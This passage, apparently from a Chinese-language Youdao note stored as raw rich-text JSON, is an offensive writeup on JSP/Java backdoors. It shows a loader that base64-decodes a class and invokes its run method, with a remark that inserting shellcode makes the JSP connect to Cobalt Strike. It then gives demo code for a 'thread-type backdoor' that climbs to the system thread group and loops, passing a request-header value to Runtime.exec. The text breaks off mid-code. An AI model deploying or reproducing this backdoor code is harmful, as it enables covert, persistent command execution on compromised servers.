b.length);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lpj6-1650710762101&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZeiU-1650710762100&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k669-1650710762103&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t8c1-1650710762102&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hkRm-1650710762105&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1pDS-1650710762104&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LM9R-1650710762107&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;denV-1650710762106&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YfZm-1650710762109&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oNUU-1650710762108&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nmfh-1650710762111&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1SUy-1650710762110&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QdEy-1650710762113&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NMnV-1650710762112&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W2p1-1650710762115&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GNkv-1650710762114&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m7Rt-1650710762117&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xfsu-1650710762116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            String Str = \&#34;ur base64 here\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qgCD-1650710762119&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j1Uj-1650710762118&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            Class result = new Myloader().get(Base64.getDecoder().decode(classStr));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZcJE-1650710762121&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PHTB-1650710762120&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;REUJ-1650710762123&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;65IL-1650710762122&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            for (Method m:result.getDeclaredMethods())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CZP2-1650710762125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ulmm-1650710762124&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z8WH-1650710762127&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lVyX-1650710762126&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                System.out.println(m.getName());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iP2y-1650710762130&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3ipg-1650710762128&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (m.getName().equals(\&#34;run\&#34;))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;12de-1650710762132&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dUYZ-1650710762131&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cvwn-1650710762134&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yDei-1650710762133&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    m.invoke(result);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gXLb-1650710762136&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qPON-1650710762135&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2kww-1650710762138&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ahtm-1650710762137&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DYPR-1650710762140&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;unY0-1650710762139&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R0bP-1650710762142&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jg7r-1650710762141&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1kTD-1650710762144&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cRhe-1650710762143&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PWYg-1650710762146&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ONhM-1650710762145&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8jXs-1650710762182&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oTXQ-1650710762181&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rI8r-1650710762186&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OZND-1650710762185&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kqC4-1650710762188&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8x4W-1650710762187&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yghf-1650768110787&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R8yd-1650768110784&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;放入shellcode后 jsp直接上线cs：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FWyH-1650768153710&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/a/WEBRESOURCEc67fa894632a99d006d1ebc4599c7d6a&#34;,&#34;width&#34;:614,&#34;height&#34;:367},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/a/WEBRESOURCEc67fa894632a99d006d1ebc4599c7d6a&#34;,&#34;initialSize&#34;:{&#34;width&#34;:614,&#34;height&#34;:365},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EJQT-1650768217759&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/b/WEBRESOURCE7744389cb6204daa632ceb39c7fee54b&#34;,&#34;width&#34;:761,&#34;height&#34;:452},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/b/WEBRESOURCE7744389cb6204daa632ceb39c7fee54b&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:452},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TR6E-1650709660817&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eGrX-1650709660814&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EbLF-1654850449868&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Zf1L-1654850449853&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;利用jsp实现线程型后门&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7YW8-1654850869613&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KaJn-1654850869614&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考su18师傅的文章，写的比较清楚了，里面介绍了Timer和&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;Daemon型两种：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mQU5-1654850978042&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;12qX-1654850978041&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;MwPF-1654850985803&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://su18.org/post/memory-shell-2/&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LwJq-1654850985802&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://su18.org/post/memory-shell-2/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6jwf-1654850985814&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s30k-1654851003004&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cUqi-1654851003003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;通过创建一个单独的循环线程，从线程中获取requset header头来执行命令。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6jc4-1654851239339&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jwv5-1654851239323&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Demo如下：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4X9K-1654851347178&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;chTs-1654851347176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;获取system线程组：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FDEJ-1654851444491&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;,&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GZBd-1654851444478&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JmAg-1654851444477&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;private static ThreadGroup getSystemThreadGroup() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MSGd-1654851444480&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u1k8-1654851444479&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ThreadGroup group = Thread.currentThread().getThreadGroup();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eRFp-1654851444482&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JnMI-1654851444481&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    while (!group.getName().equals(\&#34;system\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HP30-1654851444484&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3aHt-1654851444483&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        group = group.getParent();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HzQE-1654851444486&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IxE4-1654851444485&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ra64-1654851444488&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SinT-1654851444487&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return group;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DlAi-1654851444490&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hgoH-1654851444489&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KVco-1654851010486&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nr36-1654851010484&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;创建守护线程：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jrTm-1654851503061&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;,&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8gVO-1654851502998&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ioqr-1654851502997&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Thread d = new Thread(getSystemThreadGroup(), new Runnable() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Umk2-1654851584436&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W0tP-1654851584435&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void run() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XL1h-1654851584438&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ek0x-1654851584437&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hOX9-1654851584440&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JdCc-1654851584439&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        while (true) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HSLd-1654851584442&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9Fkt-1654851584441&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lHIF-1654851584444&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;27jg-1654851584443&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0IeL-1654851584446&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ekXB-1654851584445&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                List&lt;Object&gt;list = getRequest();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CWld-1654851584448&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O868-1654851584447&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (list.size() == 2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ePER-1654851584450&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1Qp4-1654851584449&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X2wY-1654851584452&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XUCA-1654851584451&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        Runtime.getRuntime().exec(list.get(1).toString());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PjNb-1654851584454&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ex8T-1654851584453&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I5UQ-1654851584456&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uLgM-1654851584455&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GXSf-1654851584458&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JU1K-1654851584457&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bEqH-1654851584460&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ehLo-1654851584459&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Cz0m-1654851584462&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CksA-1654851584461&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                Thread.sleep(10000);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gKxM-1654851584464&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7xEi-1654851584463&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nd5t-1654851584466&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bG6c-1654851584465&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;75Xa-1654851584468&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AV6U-1654851584467&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        